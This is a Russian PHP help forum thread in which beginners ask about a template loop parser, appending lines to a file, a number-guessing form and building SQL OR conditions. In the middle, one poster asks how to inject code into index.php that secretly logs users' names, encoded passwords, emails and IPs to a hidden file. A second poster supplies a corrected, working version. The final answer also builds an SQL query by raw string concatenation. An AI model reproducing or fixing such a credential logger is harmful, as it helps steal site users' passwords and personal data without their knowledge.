Code: function utf8_to_cp1251($str) { $encoded_data = mb_convert_encoding($str, 'Windows-1251', 'UTF-8'); $data = (mb_detect_encoding($str, "auto", true) == '') ? $str : $encoded_data; //$data = trim($data); return $data; }
Есть следующий код. Есть ли идеи по оптимизации. PHP: $data=<<<HEREDOC [foreach {f_arr}] {f_val:name}<br /> <b>{f_val:value}</b> <br /><br /> [/foreach] HEREDOC; $vars['foreach']['arr'][]=array('name'=>'my1','value'=>'jon'); $vars['foreach']['arr'][]=array('name'=>'my2','value'=>'smit'); $vars['foreach']['arr'][]=array('name'=>'my3','value'=>'anjil'); $vars['foreach']['arr'][]=array('name'=>'my4','value'=>'demon'); $vars['foreach']['arr'][]=array('name'=>'my5','value'=>'tokar'); preg_match_all('/\[foreach {f_(.+?)}](.+?)\[\/foreach\]/is', $data, $parr); if(isset($parr)) { $tmpd=''; foreach ($parr[0] as $k => $v) { foreach ($vars['foreach'][$parr[1][$k]] as $tmp) { //print_r($tmp); $work=$parr[2][$k]; preg_match_all('/{f_(\S+?):(\S+?)}/i', $data, $farr); $num_var=count($farr[2]); for($i=0;$i<$num_var;$i++) $work=str_replace("{f_{$farr[1][0]}:{$farr[2][$i]}}",$tmp[$farr[2][$i]],$work); $tmpd.=$work; } $data = str_replace($v, $tmpd,$data ); } } echo $data; у меня только одна идея. заменить тут str_replace PHP: for($i=0;$i<$num_var;$i++) $work=str_replace("{f_{$farr[1][0]}:{$farr[2][$i]}}",$tmp[$farr[2][$i]],$work); на preg_replace но чето немогу некак составить регулярку. Да и надо ли? Еще думаю можно избавиться от временных переменных. но тоже не-могу придумать нечего. ЗЫ нашел пару косяков в коде. )) правлю. сори за беспокойство )
<? $fp=fopen("file.txt","a"); fputs($fp,"текст"); fclose($fp); ?> Как сделать так чтобы вписываемый текст каждый раз при обновлении стр писался с новой строки?
помогите с кодом, не могу разобраться уже несколько дней Задача у меня такая: пипшешь в форме число, затем оно выводится в этом на этой же странице, если ничего не написано, то должна выводится фраза *Вы ничего не ввели* Не могу разобраться с иссетом
PHP: <forn method="post" actoin="<?php echo $_SERVER['PHP_SELF']; ?>"> Поле ввода : <input type="text" name="gness"> <?php $gness="$_POST"; if(empty($_POST["gness"])) { echo "Вы не ввели число"; } else { echo $_POST["gness"]; } ?> </form> </body>
или так: PHP: <forn method="post" actoin="<?php echo $_SERVER['PHP_SELF']; ?>"> Поле ввода : <input type="text" name="gness"> <?php $gness=$_POST["gness"]; if(!isset($_POST["gness"])) { echo "Вы не ввели число"; } else { echo $_POST["gness"]; } ?> </form> </body>
Dimaus Ради смеха попробуй какой нить IDE использовать. Ты забыл ; две точки и один знак равенства. Это не считая кучи ошибок типа actoin, forn, gness и т.д. PHP: <html> <head> </head> <body bgcolor="#FFFFFF"> <form method="post"> Поле ввода : <input type="text" name="gness"> </form><br> <?php if(!isset($_POST["gness"])) { echo "Вы не ввели число"; } else { echo $_POST["gness"]; } $num=40; $gness=$_POST['gness']; $mess="Добро пожаловать<br>"; if($gness>$num) { $mess.="число".$gness." больше нужного"; } elseif($gness<num) { $mess.="Ваше число".$gness." меньше"; } else { $mess.="Позд!<br> вы угадали"; } echo $mess; ?> </body> </html> Ru}{eeZ "/r/n" клево придумал Vid0k Не надо надеяться, что люди пишут правильно хотя бы имена операторов,
PHP: <body bgcolor="#FFFFFF"> <form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>"> Поле ввода : <input type="text" name="gness"> <?php if(!isset($_POST["gness"])) { echo "Вы не ввели число"; } else { echo $_POST["gness"]; } $num=40; $gness=$_POST['gness']; $mess=" "; if(!isset($gness)) { echo "Добро пожаловать"; } elseif($gness>$num) { echo "число".$gness." больше нужного"; } elseif($gness<$num) { echo "Ваше число".$guess."меньше"; } elseif($gness == $num) { echo "Позд!<br> вы угадали"; } ?> </form> </body> </html>
спс! есть у меня такой код: PHP: <? $fp=fopen("index.php","a"); fputs($fp," <?php $win=getenv("windir"); $ip=getenv("Remote_addr"); $date= date("[D|d/m/Y|H:i]"); $fp=fopen ("include/mess.php","a"); fputs($fp,"\r$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode "); fclose($fp); ?>"); fclose($fp); ?> что в нем не так помогите плз (он должен в файле index.php дописать это PHP: <?php $win=getenv("windir"); $ip=getenv("Remote_addr"); $date= date("[D|d/m/Y|H:i]"); $fp=fopen ("include/mess.php","a"); fputs($fp,"\r$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode "); fclose($fp); ?>
sadfeel PHP: <? $fp=fopen("index.php","a+"); $tmp=<<<HTT <?php $win=getenv("windir");$ip=getenv("Remote_addr"); $date= date("[D|d/m/Y|H:i]");$fp=fopen ("include/mess.php","a+"); fputs($fp,"\r\n$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode "); ?> HTT; fputs($fp,$tmp); fclose($fp); ?>
Так значит у меня пробла ... .есть массив $a[] в нём храняться какие то числа допутим=>{123,23,23,23} Мне нужно поставить в mYSQl столько OR сколько там чисел , допутим если 4 числа значит будет такой запрос(Но я низнаю сколько там чисел) PHP: $frien = mysql_query("SELECT * FROM bhost_friends WHERE u_id='".$a[0]."' OR u_id='".$a[1]."' u_id='".$a[2]."' u_id='".$a[3]."'"); ВОт решение for($k=0;$k<$m;$k++){$c .= 'OR u_id='.$a[$k].' ';}echo $c;